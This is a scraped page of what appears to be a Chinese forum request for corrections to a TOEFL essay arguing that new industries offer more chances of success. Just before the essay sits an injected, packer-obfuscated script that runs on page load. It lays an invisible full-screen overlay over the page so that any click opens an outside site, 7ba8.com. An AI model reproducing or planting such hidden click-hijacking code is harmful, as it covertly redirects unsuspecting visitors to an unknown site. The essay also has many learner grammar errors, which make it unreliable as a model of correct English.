求改TOEFL作文

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>It is not uncommonly held that efforts will absolutely result in success, regardless of what the occupation is, doctor, lawyer, cook, fireman and so on. People can, undoubtedly, gain achievement in any field, of course, they should strive to their goals without hesitation and laziness. The fact is, on the contrary, that people who work in some special industries are far easier to succeed than others who work in normal ones.
Shown by a lot of social researches, all traditional industries have developed for so many years, with few opportunities left in these industries. Countless people's participation, in history, is a main driving force to promote the development of these industries, but only a few lucky fellows can stand at the peak. By contrast, new industries can definitely provide us with a wealth of chances to completely stretch us on account of their young age.
In the other hand. Granted, in these industries stand several high mountains which will possibly encourage us to climb over them. Nevertheless, by the same token people who want to success in the traditional fields must be subject to pressure. Therefore, we may, pitifully, lose the faith to bravely fight for our goals. After all, the ground with no barriers is more suitable for our running with all efforts.
In reality, the standard on whether a man is outstanding or not will be lowered because the rules in a new industry haven’t been established completely. Hence, no matter how much achievement will a man obtain, he may be considered as a successful model by the public.
In summary. The industry is, apparently, close related to success. Working in new ones is of help to us, which will afford us increasing number of opportunities to fulfill our potential with the development of these industries in future. Consequently, there is no doubt that working in a relatively new industries is a better option.




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